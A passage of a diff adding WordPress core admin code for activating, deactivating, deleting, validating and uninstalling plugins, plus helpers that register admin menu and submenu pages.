+		$dropins['blog-deleted.php'  ] = array( __( 'Custom site deleted message.'   ), true ); // auto on deleted blog
+		$dropins['blog-inactive.php' ] = array( __( 'Custom site inactive message.'  ), true ); // auto on inactive blog
+		$dropins['blog-suspended.php'] = array( __( 'Custom site suspended message.' ), true ); // auto on archived or spammed blog
+	}
+
+	return $dropins;
+}
+
+/**
+ * Check whether the plugin is active by checking the active_plugins list.
+ *
+ * @since 2.5.0
+ *
+ * @param string $plugin Base plugin path from plugins directory.
+ * @return bool True, if in the active plugins list. False, not in the list.
+ */
+function is_plugin_active( $plugin ) {
+	return in_array( $plugin, (array) get_option( 'active_plugins', array() ) ) || is_plugin_active_for_network( $plugin );
+}
+
+/**
+ * Check whether the plugin is inactive.
+ *
+ * Reverse of is_plugin_active(). Used as a callback.
+ *
+ * @since 3.1.0
+ * @see is_plugin_active()
+ *
+ * @param string $plugin Base plugin path from plugins directory.
+ * @return bool True if inactive. False if active.
+ */
+function is_plugin_inactive( $plugin ) {
+	return ! is_plugin_active( $plugin );
+}
+
+/**
+ * Check whether the plugin is active for the entire network.
+ *
+ * @since 3.0.0
+ *
+ * @param string $plugin Base plugin path from plugins directory.
+ * @return bool True, if active for the network, otherwise false.
+ */
+function is_plugin_active_for_network( $plugin ) {
+	if ( !is_multisite() )
+		return false;
+
+	$plugins = get_site_option( 'active_sitewide_plugins');
+	if ( isset($plugins[$plugin]) )
+		return true;
+
+	return false;
+}
+
+/**
+ * Checks for "Network: true" in the plugin header to see if this should
+ * be activated only as a network wide plugin. The plugin would also work
+ * when Multisite is not enabled.
+ *
+ * Checks for "Site Wide Only: true" for backwards compatibility.
+ *
+ * @since 3.0.0
+ *
+ * @param string $plugin Plugin to check
+ * @return bool True if plugin is network only, false otherwise.
+ */
+function is_network_only_plugin( $plugin ) {
+	$plugin_data = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );
+	if ( $plugin_data )
+		return $plugin_data['Network'];
+	return false;
+}
+
+/**
+ * Attempts activation of plugin in a "sandbox" and redirects on success.
+ *
+ * A plugin that is already activated will not attempt to be activated again.
+ *
+ * The way it works is by setting the redirection to the error before trying to
+ * include the plugin file. If the plugin fails, then the redirection will not
+ * be overwritten with the success message. Also, the options will not be
+ * updated and the activation hook will not be called on plugin error.
+ *
+ * It should be noted that in no way the below code will actually prevent errors
+ * within the file. The code should not be used elsewhere to replicate the
+ * "sandbox", which uses redirection to work.
+ * {@source 13 1}
+ *
+ * If any errors are found or text is outputted, then it will be captured to
+ * ensure that the success redirection will update the error redirection.
+ *
+ * @since 2.5.0
+ *
+ * @param string $plugin Plugin path to main plugin file with plugin data.
+ * @param string $redirect Optional. URL to redirect to.
+ * @param bool $network_wide Whether to enable the plugin for all sites in the
+ *   network or just the current site. Multisite only. Default is false.
+ * @param bool $silent Prevent calling activation hooks. Optional, default is false.
+ * @return WP_Error|null WP_Error on invalid file or null on success.
+ */
+function activate_plugin( $plugin, $redirect = '', $network_wide = false, $silent = false ) {
+	$plugin = plugin_basename( trim( $plugin ) );
+
+	if ( is_multisite() && ( $network_wide || is_network_only_plugin($plugin) ) ) {
+		$network_wide = true;
+		$current = get_site_option( 'active_sitewide_plugins', array() );
+		$_GET['networkwide'] = 1; // Back compat for plugins looking for this value.
+	} else {
+		$current = get_option( 'active_plugins', array() );
+	}
+
+	$valid = validate_plugin($plugin);
+	if ( is_wp_error($valid) )
+		return $valid;
+
+	if ( ( $network_wide && ! isset( $current[ $plugin ] ) ) || ( ! $network_wide && ! in_array( $plugin, $current ) ) ) {
+		if ( !empty($redirect) )
+			wp_redirect(add_query_arg('_error_nonce', wp_create_nonce('plugin-activation-error_' . $plugin), $redirect)); // we'll override this later if the plugin can be included without fatal error
+		ob_start();
+		wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $plugin );
+		$_wp_plugin_file = $plugin;
+		include_once( WP_PLUGIN_DIR . '/' . $plugin );
+		$plugin = $_wp_plugin_file; // Avoid stomping of the $plugin variable in a plugin.
+
+		if ( ! $silent ) {
+			/**
+			 * Fires before a plugin is activated.
+			 *
+			 * If a plugin is silently activated (such as during an update),
+			 * this hook does not fire.
+			 *
+			 * @since 2.9.0
+			 *
+			 * @param string $plugin       Plugin path to main plugin file with plugin data.
+			 * @param bool   $network_wide Whether to enable the plugin for all sites in the network
+			 *                             or just the current site. Multisite only. Default is false.
+			 */
+			do_action( 'activate_plugin', $plugin, $network_wide );
+
+			/**
+			 * Fires as a specific plugin is being activated.
+			 *
+			 * This hook is the "activation" hook used internally by
+			 * {@see register_activation_hook()}. The dynamic portion of the
+			 * hook name, `$plugin`, refers to the plugin basename.
+			 *
+			 * If a plugin is silently activated (such as during an update),
+			 * this hook does not fire.
+			 *
+			 * @since 2.0.0
+			 *
+			 * @param bool $network_wide Whether to enable the plugin for all sites in the network
+			 *                           or just the current site. Multisite only. Default is false.
+			 */
+			do_action( 'activate_' . $plugin, $network_wide );
+		}
+
+		if ( $network_wide ) {
+			$current[$plugin] = time();
+			update_site_option( 'active_sitewide_plugins', $current );
+		} else {
+			$current[] = $plugin;
+			sort($current);
+			update_option('active_plugins', $current);
+		}
+
+		if ( ! $silent ) {
+			/**
+			 * Fires after a plugin has been activated.
+			 *
+			 * If a plugin is silently activated (such as during an update),
+			 * this hook does not fire.
+			 *
+			 * @since 2.9.0
+			 *
+			 * @param string $plugin       Plugin path to main plugin file with plugin data.
+			 * @param bool   $network_wide Whether to enable the plugin for all sites in the network
+			 *                             or just the current site. Multisite only. Default is false.
+			 */
+			do_action( 'activated_plugin', $plugin, $network_wide );
+		}
+
+		if ( ob_get_length() > 0 ) {
+			$output = ob_get_clean();
+			return new WP_Error('unexpected_output', __('The plugin generated unexpected output.'), $output);
+		}
+		ob_end_clean();
+	}
+
+	return null;
+}
+
+/**
+ * Deactivate a single plugin or multiple plugins.
+ *
+ * The deactivation hook is disabled by the plugin upgrader by using the $silent
+ * parameter.
+ *
+ * @since 2.5.0
+ *
+ * @param string|array $plugins Single plugin or list of plugins to deactivate.
+ * @param bool $silent Prevent calling deactivation hooks. Default is false.
+ * @param mixed $network_wide Whether to deactivate the plugin for all sites in the network.
+ * 	A value of null (the default) will deactivate plugins for both the site and the network.
+ */
+function deactivate_plugins( $plugins, $silent = false, $network_wide = null ) {
+	if ( is_multisite() )
+		$network_current = get_site_option( 'active_sitewide_plugins', array() );
+	$current = get_option( 'active_plugins', array() );
+	$do_blog = $do_network = false;
+
+	foreach ( (array) $plugins as $plugin ) {
+		$plugin = plugin_basename( trim( $plugin ) );
+		if ( ! is_plugin_active($plugin) )
+			continue;
+
+		$network_deactivating = false !== $network_wide && is_plugin_active_for_network( $plugin );
+
+		if ( ! $silent ) {
+			/**
+			 * Fires before a plugin is deactivated.
+			 *
+			 * If a plugin is silently deactivated (such as during an update),
+			 * this hook does not fire.
+			 *
+			 * @since 2.9.0
+			 *
+			 * @param string $plugin               Plugin path to main plugin file with plugin data.
+			 * @param bool   $network_deactivating Whether the plugin is deactivated for all sites in the network
+			 *                                     or just the current site. Multisite only. Default is false.
+			 */
+			do_action( 'deactivate_plugin', $plugin, $network_deactivating );
+		}
+
+		if ( false !== $network_wide ) {
+			if ( is_plugin_active_for_network( $plugin ) ) {
+				$do_network = true;
+				unset( $network_current[ $plugin ] );
+			} elseif ( $network_wide ) {
+				continue;
+			}
+		}
+
+		if ( true !== $network_wide ) {
+			$key = array_search( $plugin, $current );
+			if ( false !== $key ) {
+				$do_blog = true;
+				unset( $current[ $key ] );
+			}
+		}
+
+		if ( ! $silent ) {
+			/**
+			 * Fires as a specific plugin is being deactivated.
+			 *
+			 * This hook is the "deactivation" hook used internally by
+			 * {@see register_deactivation_hook()}. The dynamic portion of the
+			 * hook name, `$plugin`, refers to the plugin basename.
+			 *
+			 * If a plugin is silently deactivated (such as during an update),
+			 * this hook does not fire.
+			 *
+			 * @since 2.0.0
+			 *
+			 * @param bool $network_deactivating Whether the plugin is deactivated for all sites in the network
+			 *                                   or just the current site. Multisite only. Default is false.
+			 */
+			do_action( 'deactivate_' . $plugin, $network_deactivating );
+
+			/**
+			 * Fires after a plugin is deactivated.
+			 *
+			 * If a plugin is silently deactivated (such as during an update),
+			 * this hook does not fire.
+			 *
+			 * @since 2.9.0
+			 *
+			 * @param string $plugin               Plugin basename.
+			 * @param bool   $network_deactivating Whether the plugin is deactivated for all sites in the network
+			 *                                     or just the current site. Multisite only. Default false.
+			 */
+			do_action( 'deactivated_plugin', $plugin, $network_deactivating );
+		}
+	}
+
+	if ( $do_blog )
+		update_option('active_plugins', $current);
+	if ( $do_network )
+		update_site_option( 'active_sitewide_plugins', $network_current );
+}
+
+/**
+ * Activate multiple plugins.
+ *
+ * When WP_Error is returned, it does not mean that one of the plugins had
+ * errors. It means that one or more of the plugins file path was invalid.
+ *
+ * The execution will be halted as soon as one of the plugins has an error.
+ *
+ * @since 2.6.0
+ *
+ * @param string|array $plugins Single plugin or list of plugins to activate.
+ * @param string $redirect Redirect to page after successful activation.
+ * @param bool $network_wide Whether to enable the plugin for all sites in the network.
+ * @param bool $silent Prevent calling activation hooks. Default is false.
+ * @return bool|WP_Error True when finished or WP_Error if there were errors during a plugin activation.
+ */
+function activate_plugins( $plugins, $redirect = '', $network_wide = false, $silent = false ) {
+	if ( !is_array($plugins) )
+		$plugins = array($plugins);
+
+	$errors = array();
+	foreach ( $plugins as $plugin ) {
+		if ( !empty($redirect) )
+			$redirect = add_query_arg('plugin', $plugin, $redirect);
+		$result = activate_plugin($plugin, $redirect, $network_wide, $silent);
+		if ( is_wp_error($result) )
+			$errors[$plugin] = $result;
+	}
+
+	if ( !empty($errors) )
+		return new WP_Error('plugins_invalid', __('One of the plugins is invalid.'), $errors);
+
+	return true;
+}
+
+/**
+ * Remove directory and files of a plugin for a list of plugins.
+ *
+ * @since 2.6.0
+ *
+ * @param array  $plugins    List of plugins to delete.
+ * @param string $deprecated Deprecated.
+ * @return bool|null|WP_Error True on success, false is $plugins is empty, WP_Error on failure.
+ *                            Null if filesystem credentials are required to proceed.
+ */
+function delete_plugins( $plugins, $deprecated = '' ) {
+	global $wp_filesystem;
+
+	if ( empty($plugins) )
+		return false;
+
+	$checked = array();
+	foreach( $plugins as $plugin )
+		$checked[] = 'checked[]=' . $plugin;
+
+	ob_start();
+	$url = wp_nonce_url('plugins.php?action=delete-selected&verify-delete=1&' . implode('&', $checked), 'bulk-plugins');
+	if ( false === ($credentials = request_filesystem_credentials($url)) ) {
+		$data = ob_get_contents();
+		ob_end_clean();
+		if ( ! empty($data) ){
+			include_once( ABSPATH . 'wp-admin/admin-header.php');
+			echo $data;
+			include( ABSPATH . 'wp-admin/admin-footer.php');
+			exit;
+		}
+		return;
+	}
+
+	if ( ! WP_Filesystem($credentials) ) {
+		request_filesystem_credentials($url, '', true); //Failed to connect, Error and request again
+		$data = ob_get_contents();
+		ob_end_clean();
+		if ( ! empty($data) ){
+			include_once( ABSPATH . 'wp-admin/admin-header.php');
+			echo $data;
+			include( ABSPATH . 'wp-admin/admin-footer.php');
+			exit;
+		}
+		return;
+	}
+
+	if ( ! is_object($wp_filesystem) )
+		return new WP_Error('fs_unavailable', __('Could not access filesystem.'));
+
+	if ( is_wp_error($wp_filesystem->errors) && $wp_filesystem->errors->get_error_code() )
+		return new WP_Error('fs_error', __('Filesystem error.'), $wp_filesystem->errors);
+
+	// Get the base plugin folder.
+	$plugins_dir = $wp_filesystem->wp_plugins_dir();
+	if ( empty( $plugins_dir ) ) {
+		return new WP_Error( 'fs_no_plugins_dir', __( 'Unable to locate WordPress Plugin directory.' ) );
+	}
+
+	$plugins_dir = trailingslashit( $plugins_dir );
+
+	$translations_dir = $wp_filesystem->wp_lang_dir();
+	$translations_dir = trailingslashit( $translations_dir );
+
+	$plugin_translations = wp_get_installed_translations( 'plugins' );
+
+	$errors = array();
+
+	foreach( $plugins as $plugin_file ) {
+		// Run Uninstall hook.
+		if ( is_uninstallable_plugin( $plugin_file ) ) {
+			uninstall_plugin($plugin_file);
+		}
+
+		$this_plugin_dir = trailingslashit( dirname( $plugins_dir . $plugin_file ) );
+		// If plugin is in its own directory, recursively delete the directory.
+		if ( strpos( $plugin_file, '/' ) && $this_plugin_dir != $plugins_dir ) { //base check on if plugin includes directory separator AND that it's not the root plugin folder
+			$deleted = $wp_filesystem->delete( $this_plugin_dir, true );
+		} else {
+			$deleted = $wp_filesystem->delete( $plugins_dir . $plugin_file );
+		}
+
+		if ( ! $deleted ) {
+			$errors[] = $plugin_file;
+			continue;
+		}
+
+		// Remove language files, silently.
+		$plugin_slug = dirname( $plugin_file );
+		if ( '.' !== $plugin_slug && ! empty( $plugin_translations[ $plugin_slug ] ) ) {
+			$translations = $plugin_translations[ $plugin_slug ];
+
+			foreach ( $translations as $translation => $data ) {
+				$wp_filesystem->delete( WP_LANG_DIR . '/plugins/' . $plugin_slug . '-' . $translation . '.po' );
+				$wp_filesystem->delete( WP_LANG_DIR . '/plugins/' . $plugin_slug . '-' . $translation . '.mo' );
+			}
+		}
+	}
+
+	// Remove deleted plugins from the plugin updates list.
+	if ( $current = get_site_transient('update_plugins') ) {
+		// Don't remove the plugins that weren't deleted.
+		$deleted = array_diff( $plugins, $errors );
+
+		foreach ( $deleted as $plugin_file ) {
+			unset( $current->response[ $plugin_file ] );
+		}
+
+		set_site_transient( 'update_plugins', $current );
+	}
+
+	if ( ! empty($errors) )
+		return new WP_Error('could_not_remove_plugin', sprintf(__('Could not fully remove the plugin(s) %s.'), implode(', ', $errors)) );
+
+	return true;
+}
+
+/**
+ * Validate active plugins
+ *
+ * Validate all active plugins, deactivates invalid and
+ * returns an array of deactivated ones.
+ *
+ * @since 2.5.0
+ * @return array invalid plugins, plugin as key, error as value
+ */
+function validate_active_plugins() {
+	$plugins = get_option( 'active_plugins', array() );
+	// Validate vartype: array.
+	if ( ! is_array( $plugins ) ) {
+		update_option( 'active_plugins', array() );
+		$plugins = array();
+	}
+
+	if ( is_multisite() && current_user_can( 'manage_network_plugins' ) ) {
+		$network_plugins = (array) get_site_option( 'active_sitewide_plugins', array() );
+		$plugins = array_merge( $plugins, array_keys( $network_plugins ) );
+	}
+
+	if ( empty( $plugins ) )
+		return;
+
+	$invalid = array();
+
+	// Invalid plugins get deactivated.
+	foreach ( $plugins as $plugin ) {
+		$result = validate_plugin( $plugin );
+		if ( is_wp_error( $result ) ) {
+			$invalid[$plugin] = $result;
+			deactivate_plugins( $plugin, true );
+		}
+	}
+	return $invalid;
+}
+
+/**
+ * Validate the plugin path.
+ *
+ * Checks that the file exists and {@link validate_file() is valid file}.
+ *
+ * @since 2.5.0
+ *
+ * @param string $plugin Plugin Path
+ * @return WP_Error|int 0 on success, WP_Error on failure.
+ */
+function validate_plugin($plugin) {
+	if ( validate_file($plugin) )
+		return new WP_Error('plugin_invalid', __('Invalid plugin path.'));
+	if ( ! file_exists(WP_PLUGIN_DIR . '/' . $plugin) )
+		return new WP_Error('plugin_not_found', __('Plugin file does not exist.'));
+
+	$installed_plugins = get_plugins();
+	if ( ! isset($installed_plugins[$plugin]) )
+		return new WP_Error('no_plugin_header', __('The plugin does not have a valid header.'));
+	return 0;
+}
+
+/**
+ * Whether the plugin can be uninstalled.
+ *
+ * @since 2.7.0
+ *
+ * @param string $plugin Plugin path to check.
+ * @return bool Whether plugin can be uninstalled.
+ */
+function is_uninstallable_plugin($plugin) {
+	$file = plugin_basename($plugin);
+
+	$uninstallable_plugins = (array) get_option('uninstall_plugins');
+	if ( isset( $uninstallable_plugins[$file] ) || file_exists( WP_PLUGIN_DIR . '/' . dirname($file) . '/uninstall.php' ) )
+		return true;
+
+	return false;
+}
+
+/**
+ * Uninstall a single plugin.
+ *
+ * Calls the uninstall hook, if it is available.
+ *
+ * @since 2.7.0
+ *
+ * @param string $plugin Relative plugin path from Plugin Directory.
+ */
+function uninstall_plugin($plugin) {
+	$file = plugin_basename($plugin);
+
+	$uninstallable_plugins = (array) get_option('uninstall_plugins');
+	if ( file_exists( WP_PLUGIN_DIR . '/' . dirname($file) . '/uninstall.php' ) ) {
+		if ( isset( $uninstallable_plugins[$file] ) ) {
+			unset($uninstallable_plugins[$file]);
+			update_option('uninstall_plugins', $uninstallable_plugins);
+		}
+		unset($uninstallable_plugins);
+
+		define('WP_UNINSTALL_PLUGIN', $file);
+		wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . dirname( $file ) );
+		include( WP_PLUGIN_DIR . '/' . dirname($file) . '/uninstall.php' );
+
+		return true;
+	}
+
+	if ( isset( $uninstallable_plugins[$file] ) ) {
+		$callable = $uninstallable_plugins[$file];
+		unset($uninstallable_plugins[$file]);
+		update_option('uninstall_plugins', $uninstallable_plugins);
+		unset($uninstallable_plugins);
+
+		wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $file );
+		include( WP_PLUGIN_DIR . '/' . $file );
+
+		add_action( 'uninstall_' . $file, $callable );
+
+		/**
+		 * Fires in uninstall_plugin() once the plugin has been uninstalled.
+		 *
+		 * The action concatenates the 'uninstall_' prefix with the basename of the
+		 * plugin passed to {@see uninstall_plugin()} to create a dynamically-named action.
+		 *
+		 * @since 2.7.0
+		 */
+		do_action( 'uninstall_' . $file );
+	}
+}
+
+//
+// Menu
+//
+
+/**
+ * Add a top level menu page
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected
+ * @param string $menu_title The text to be used for the menu
+ * @param string $capability The capability required for this menu to be displayed to the user.
+ * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu)
+ * @param callback $function The function to be called to output the content for this page.
+ * @param string $icon_url The url to the icon to be used for this menu.
+ *     * Pass a base64-encoded SVG using a data URI, which will be colored to match the color scheme.
+ *       This should begin with 'data:image/svg+xml;base64,'.
+ *     * Pass the name of a Dashicons helper class to use a font icon, e.g. 'dashicons-chart-pie'.
+ *     * Pass 'none' to leave div.wp-menu-image empty so an icon can be added via CSS.
+ * @param int $position The position in the menu order this one should appear
+ *
+ * @return string The resulting page's hook_suffix
+ */
+function add_menu_page( $page_title, $menu_title, $capability, $menu_slug, $function = '', $icon_url = '', $position = null ) {
+	global $menu, $admin_page_hooks, $_registered_pages, $_parent_pages;
+
+	$menu_slug = plugin_basename( $menu_slug );
+
+	$admin_page_hooks[$menu_slug] = sanitize_title( $menu_title );
+
+	$hookname = get_plugin_page_hookname( $menu_slug, '' );
+
+	if ( !empty( $function ) && !empty( $hookname ) && current_user_can( $capability ) )
+		add_action( $hookname, $function );
+
+	if ( empty($icon_url) ) {
+		$icon_url = 'dashicons-admin-generic';
+		$icon_class = 'menu-icon-generic ';
+	} else {
+		$icon_url = set_url_scheme( $icon_url );
+		$icon_class = '';
+	}
+
+	$new_menu = array( $menu_title, $capability, $menu_slug, $page_title, 'menu-top ' . $icon_class . $hookname, $hookname, $icon_url );
+
+	if ( null === $position )
+		$menu[] = $new_menu;
+	else
+		$menu[$position] = $new_menu;
+
+	$_registered_pages[$hookname] = true;
+
+	// No parent as top level
+	$_parent_pages[$menu_slug] = false;
+
+	return $hookname;
+}
+
+/**
+ * Add a top level menu page in the 'objects' section
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected
+ * @param string $menu_title The text to be used for the menu
+ * @param string $capability The capability required for this menu to be displayed to the user.
+ * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu)
+ * @param callback $function The function to be called to output the content for this page.
+ * @param string $icon_url The url to the icon to be used for this menu
+ *
+ * @return string The resulting page's hook_suffix
+ */
+function add_object_page( $page_title, $menu_title, $capability, $menu_slug, $function = '', $icon_url = '') {
+	global $_wp_last_object_menu;
+
+	$_wp_last_object_menu++;
+
+	return add_menu_page($page_title, $menu_title, $capability, $menu_slug, $function, $icon_url, $_wp_last_object_menu);
+}
+
+/**
+ * Add a top level menu page in the 'utility' section
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected
+ * @param string $menu_title The text to be used for the menu
+ * @param string $capability The capability required for this menu to be displayed to the user.
+ * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu)
+ * @param callback $function The function to be called to output the content for this page.
+ * @param string $icon_url The url to the icon to be used for this menu
+ *
+ * @return string The resulting page's hook_suffix
+ */
+function add_utility_page( $page_title, $menu_title, $capability, $menu_slug, $function = '', $icon_url = '') {
+	global $_wp_last_utility_menu;
+
+	$_wp_last_utility_menu++;
+
+	return add_menu_page($page_title, $menu_title, $capability, $menu_slug, $function, $icon_url, $_wp_last_utility_menu);
+}
+
+/**
+ * Add a sub menu page
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string $parent_slug The slug name for the parent menu (or the file name of a standard WordPress admin page)
+ * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected
+ * @param string $menu_title The text to be used for the menu
+ * @param string $capability The capability required for this menu to be displayed to the user.
+ * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu)
+ * @param callback $function The function to be called to output the content for this page.
+ *
+ * @return false|string The resulting page's hook_suffix, or false if the user does not have the capability required.
+ */
+function add_submenu_page( $parent_slug, $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {
+	global $submenu;
+	global $menu;
+	global $_wp_real_parent_file;
+	global $_wp_submenu_nopriv;
+	global $_registered_pages;
+	global $_parent_pages;
+
+	$menu_slug = plugin_basename( $menu_slug );
+	$parent_slug = plugin_basename( $parent_slug);
+
+	if ( isset( $_wp_real_parent_file[$parent_slug] ) )
+		$parent_slug = $_wp_real_parent_file[$parent_slug];
+
+	if ( !current_user_can( $capability ) ) {
+		$_wp_submenu_nopriv[$parent_slug][$menu_slug] = true;
+		return false;
+	}
+
+	/*
+	 * If the parent doesn't already have a submenu, add a link to the parent
+	 * as the first item in the submenu. If the submenu file is the same as the
+	 * parent file someone is trying to link back to the parent manually. In
+	 * this case, don't automatically add a link back to avoid duplication.
+	 */
+	if (!isset( $submenu[$parent_slug] ) && $menu_slug != $parent_slug ) {
+		foreach ( (array)$menu as $parent_menu ) {
+			if ( $parent_menu[2] == $parent_slug && current_user_can( $parent_menu[1] ) )
+				$submenu[$parent_slug][] = array_slice( $parent_menu, 0, 4 );
+		}
+	}
+
+	$submenu[$parent_slug][] = array ( $menu_title, $capability, $menu_slug, $page_title );
+
+	$hookname = get_plugin_page_hookname( $menu_slug, $parent_slug);
+	if (!empty ( $function ) && !empty ( $hookname ))
+		add_action( $hookname, $function );
+
+	$_registered_pages[$hookname] = true;
+
+	/*
+	 * Backward-compatibility for plugins using add_management page.
+	 * See wp-admin/admin.php for redirect from edit.php to tools.php
+	 */
+	if ( 'tools.php' == $parent_slug )
+		$_registered_pages[get_plugin_page_hookname( $menu_slug, 'edit.php')] = true;
+
+	// No parent as top level.
+	$_parent_pages[$menu_slug] = $parent_slug;
+
+	return $hookname;
+}
+
+/**
+ * Add sub menu page to the tools main menu.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected
+ * @param string $menu_title The text to be used for the menu
+ * @param string $capability The capability required for this menu to be displayed to the user.
+ * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu)
+ * @param callback $function The function to be called to output the content for this page.
+ *
+ * @return false|string The resulting page's hook_suffix, or false if the user does not have the capability required.
+ */
+function add_management_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {
+	return add_submenu_page( 'tools.php', $page_title, $menu_title, $capability, $menu_slug, $function );
+}
+
+/**
+ * Add sub menu page to the options main menu.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected
+ * @param string $menu_title The text to be used for the menu
+ * @param string $capability The capability required for this menu to be displayed to the user.
+ * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu)
+ * @param callback $function The function to be called to output the content for this page.
+ *
+ * @return false|string The resulting page's hook_suffix, or false if the user does not have the capability required.
+ */
+function add_options_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {
+	return add_submenu_page( 'options-general.php', $page_title, $menu_title, $capability, $menu_slug, $function );
+}
+
+/**
+ * Add sub menu page to the themes main menu.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected
+ * @param string $menu_title The text to be used for the menu
+ * @param string $capability The capability required for this menu to be displayed to the user.
+ * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu)
+ * @param callback $function The function to be called to output the content for this page.
+ *
+ * @return false|string The resulting page's hook_suffix, or false if the user does not have the capability required.
+ */
+function add_theme_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {
+	return add_submenu_page( 'themes.php', $page_title, $menu_title, $capability, $menu_slug, $function );
+}
+
+/**
+ * Add sub menu page to the plugins main menu.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected
+ * @param string $menu_title The text to be used for the menu
+ * @param string $capability The capability required for this menu to be displayed to the user.
+ * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu)
+ * @param callback $function The function to be called to output the content for this page.
+ *
+ * @return false|string The resulting page's hook_suffix, or false if the user does not have the capability required.
+ */
+function add_plugins_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {
+	return add_submenu_page( 'plugins.php', $page_title, $menu_title, $capability, $menu_slug, $function );
+}
+
+/**
+ * Add sub menu page to the Users/Profile main menu.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected
+ * @param string $menu_title The text to be used for the menu
+ * @param string $capability The capability required for this menu to be displayed to the user.
+ * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu)
+ * @param callback $function The function to be called to output the content for this page.
+ *
+ * @return false|string The resulting page's hook_suffix, or false if the user does not have the capability required.
+ */
+function add_users_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {
+	if ( current_user_can('edit_users') )
+		$parent = 'users.php';
+	else
+		$parent = 'profile.php';
+	return add_submenu_page( $parent, $page_title, $menu_title, $capability, $menu_slug, $function );
+}
+/**
+ * Add sub menu page to the Dashboard main menu.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected
+ * @param string $menu_title The text to be used for the menu
+ * @param string $capability The capability required for this menu to be displayed to the user.
+ * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu)
+ * @param callback $function The function to be called to output the content for this page.
+ *
+ * @return false|string The resulting page's hook_suffix, or false if the user does not have the capability required.
+ */
+function add_dashboard_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {
+	return add_submenu_page( 'index.php', $page_title, $menu_title, $capability, $menu_slug, $function );
+}
+
+/**
+ * Add sub menu page to the posts main menu.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected
+ * @param string $menu_title The text to be used for the menu
+ * @param string $capability The capability required for this menu to be displayed to the user.
+ * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu)
+ * @param callback $function The function to be called to output the content for this page.
+ *
+ * @return false|string The resulting page's hook_suffix, or false if the user does not have the capability required.
+ */
+function add_posts_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {
+	return add_submenu_page( 'edit.php', $page_title, $menu_title, $capability, $menu_slug, $function );
+}
+
+/**
+ * Add sub menu page to the media main menu.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected
+ * @param string $menu_title The text to be used for the menu
+ * @param string $capability The capability required for this menu to be displayed to the user.
+ * @param string $menu_slug The slug name to refer to this menu by (should be unique for this menu)
+ * @param callback $function The function to be called to output the content for this page.
+ *
+ * @return false|string The resulting page's hook_suffix, or false if the user does not have the capability required.
+ */
+function add_media_page( $page_title, $menu_title, $capability, $menu_slug, $function = '' ) {
+	return add_submenu_page( 'upload.php', $page_title, $menu_title, $capability, $menu_slug, $function );
+}
+
+/**
+ * Add sub menu page to the links main menu.
+ *
+ * This function takes a capability which will be used to determine whether
+ * or not a page is included in the menu.
+ *
+ * The function which is hooked in to handle the output of the page must check
+ * that the user has the required capability as well.
+ *
+ * @param string $page_title The text to be displayed in the title tags of the page when the menu is selected
